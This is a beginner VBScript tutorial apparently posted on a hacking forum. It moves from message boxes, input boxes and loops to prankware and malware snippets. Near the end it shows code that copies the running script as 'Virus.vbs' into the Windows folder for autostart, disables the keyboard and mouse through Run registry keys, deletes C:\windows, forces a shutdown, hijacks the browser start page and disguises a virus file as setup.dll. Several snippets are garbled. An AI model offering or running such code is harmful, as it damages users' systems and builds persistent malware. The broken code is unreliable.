Basic “VBScript”

vbscript

Though it’s not VB / Net, it’s more a simpler version of VB. It is pretty handy if you want to start with something…

This type of programming can easily be done in Notepad so you wont need to download a some sort of crap of software (though they can be handy for debugging)

Note: tutorial written by Huntondoom.

So I am going to explain some code’s, what most things mean and hope you will use it to experiment, because it’s important to have a creative mind.

If you want to see how your script works then just save it as “Name.vbs”

Let’s start very easy, with a Messagebox

msgbox "insert text here"

or

WScript.Echo "lol"

Easy as it is msgbox stands for messagebox (NOWAY :) and between the ” ” you put your text that will be shown or you can use WScript.Echo though I use msgbox this is also a way of showing your message.
P.S.: text will only be shown when it’s put between “” numbers will be show even without the “”.

The input

inputbox("insert question")

Insert your text in between (” “) though you can insert your answer it is not being saved. If you want to save it under a string or variable then do this

Stringname=inputbox("Insert question")

Now it is saved under “stringname” it doesn’t have to be stringname it could be anything random you want like blablablabla or wheeee

If you want to show the string in a message you just simply do

msgbox stringname

If you would combine everything I just explained then you can get some thing like this

Answer=inputbox("What's your name?")
msgbox "damm who the hack call's it child "& answer

In theory you would see the entered name appear in the message
If you want to expands this kind of thing like with a title or more strings shown in the message then

name=inputbox("...") 
time=inputbox("... ")
name=name & vbCRLf
name = time & " " & name & vbCRlF
msgbox "" & name

The message box should look something like this:

name
time name

If you wouldn’t use the ” ” then string will be attach to each other.
Not sure what vbCRLf stand for, but i know that it acts as ENTER and will create a new sentence beneath it (if there in nothing under it, then It won’t be showed).
if you want to set a text between them you do it just like the space ” ” but you just insert text there for numbers you don’t need “”.

name=inputbox("what's your name ? ","Evilzone","no name")
if name = "no name" then
msgbox "you didn't fill in, -.-'",1024,"Evilzone"
end if
if name = "huntondoom" then
msgbox "Your awesome",1402,"Evilzone"
end if

Has you can see there is something different with the inputbox and msgbox, the text of inputbox( and msgbox) consist of 3 section’s.

Inputbox:
“what’s your name?”,”Evilzone”,”no name” the section look like something like this (it filled in what it does)
“Text show in the msgbox”,”Title of the message box”,”answer that is already filled in”

“you didn’t fill in, -.-‘”,1024,”Evilzone” the section look like something like this (it filled in what it does)
” message”,” don’t know (that’s why the random number )”,”Title”

Same goes here is it a number then you don’t need “” you also see a If part

you start as If (duuuh)
then the string or variable comes
if Name = "Huntondoom"

So if the insert string is Huntondoom equals what your are looking for

if stringname = "want it has to be"

This will open more possibility for you to do message to things you ask that will so up what is insert and it can be more then just that. To complete this command then do:

if stringname = "what it's supposed to be" then
(fill here you commands in here)
end if

If you script need to be shutdown in the beginning in a if command then
this next command will shutdown your script

Wscript.quit

It is recommended it that you use it at the end of you script
some code’s can still be active and this shut’s it down

now that was the basic

now I will just give you some code’s and explain there function

Creating a file:

Set fs = CreateObject("Scripting.FileSystemObject") 
Set a = fs.CreateTextFile("C:textfilel.txt") 
a.WriteLine ("insert your text here")
a.WriteBlankLines 1

this create’s a file
this case a *.txt file
a stand for a variable that can be changed,
notice that every variable has to be the same
a.writeline is what will be put in your file
multiple a.writeline will create more sentence, it works like pressing Enter
a.WriteBlankLines 1 is to make a blank, depending on the value that is entered were 1 is it will create 1 or mulitple blanks lines
this you can create batch file with a script in this case it will create it’s own virus or script program

change Internet explorer’s name

Set shl = CreateObject("Wscript.shell") 
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainWindow Title","page"

as it said it will change internet explorer’s name

change internet explorer’s mainwindow

Set shl = CreateObject("Wscript.shell") 
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MainStart Page"," www.evilzone.org"

as it said it will change internet explorer’s main window
ps: if the 2 code’s above don’t work then there is probability something wrong with the \ things (it’s in the wrong place)(or mises a few)

opening and closing CD-station’s

Set oWMP = CreateObject("WMPlayer.OCX.7" ) 
Set colCDROMs = oWMP.cdromCollection 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next 
End If

it will count who many station’s there are and open and close them
depending on the number insert in the green section’s

Create a Error sound:

Set oWS = WScript.CreateObject("WScript.Shell") 
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

place file into start/run

Set Shl = CreateObject("Wscript.Shell") 
Set fso = CreateObject("Scripting.FileSystemObject") 
winfolder = fso.GetSpecialFolder(0) 
Set vbsfile = fso.GetFile(WScript.ScriptFullName) 
vbsfile.Copy winfolder & "Virus.vbs" 
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunStart menu",winfolder & "Name.vbs"

it will send your virus to a other folder

shutdown keyboard:

Set shl = CreateObject("Wscript.shell") 
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/DisableKeyboard", "Rundll32.exe Keyboard,Disable

shutdown mouse:

Set shl = CreateObject("Wscript.shell") 
Shl.RegWrite "HKEY_LOCAL_MACHINE/Software/Microsof/tWindows/CurrentVersion/Run/DisableMouse", "Rundll32.exe Mouse,Disable"

delete a folder:

Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\windows")
aFolder.Delete

(do not try this exact code on your computer)

<strong>let the script wait a phew moments:</strong>
WScript.Sleep 400

the number will show how long it will wait
but it count’s really fast 400 is not so long waiting

send a text, like if somebody type something:
(you don’t see it being typed put it just put your text there)

WshShell.SendKeys " Evilzone FTW"

shutdown computer:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("
select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

open notepad and write a text:

Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 100
WshShell.SendKeys "hey go to www.evilzone.org"

P.S.: the first 2 line are for running a program
where notepad is located you either fill in the path of the file
or you just inserted a file that is known by the computer like notepad.

Change personal message in MSN:

Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
End Sub
Private Sub Timer1_Timer()
msn.OptionsPages 0, MOPT_GENERAL_PAGE
Pause 0.5
SendKeys " I love Evilzone "
Pause 0.5
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Me.Show
End Sub
Sub Pause(interval)
Current = Timer
Do While Timer - Current &lt; Val(interval)
DoEvents
Loop
End Sub

change the name of a file, can also move it:

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.MoveFile "C:\FSO\Vrius.vbs" , "C:\FSO\setup.dll"

variable loop:

for I=0 to 5
Set oWS = WScript.CreateObject("WScript.Shell") 
oWS.Run "%comspec% /c echo " &amp; Chr(07), 0, True
next
wscript.quit

I is the variable that could be anything (it’s usaly handy to hold on to a standaard)
0 is the beginning point
5 is the end point

a variable loop end with next

it is possible to do a double variable loop

it mostly used to check something after some time like this:

a=0
for I=0 to 10
if a=10 then
Set oWS = WScript.CreateObject("WScript.Shell") 
oWS.Run "%comspec% /c echo " &amp; Chr(07), 0, True
end if
if a=20 then
Set oWS = WScript.CreateObject("WScript.Shell") 
oWS.Run "%comspec% /c echo " &amp; Chr(07), 0, True
wscript.quit
end if
for J=0 to 2 
a=a+1
next
next

if everything works like planned it will create check what a is every 2 times so it wil check what a is on 2 4 6 8 10 12 14 16 18 20
every time it hits 10 & 20 it will make a sound
every time it hits 20 it will shutdown the script

i may not be the best way to do it but it is an example

if you have a comment, thing you want to add , etc etc etc
please tell me

use these things to create programs that you just though of

Leave a Reply

Your email address will not be published. Required fields are marked *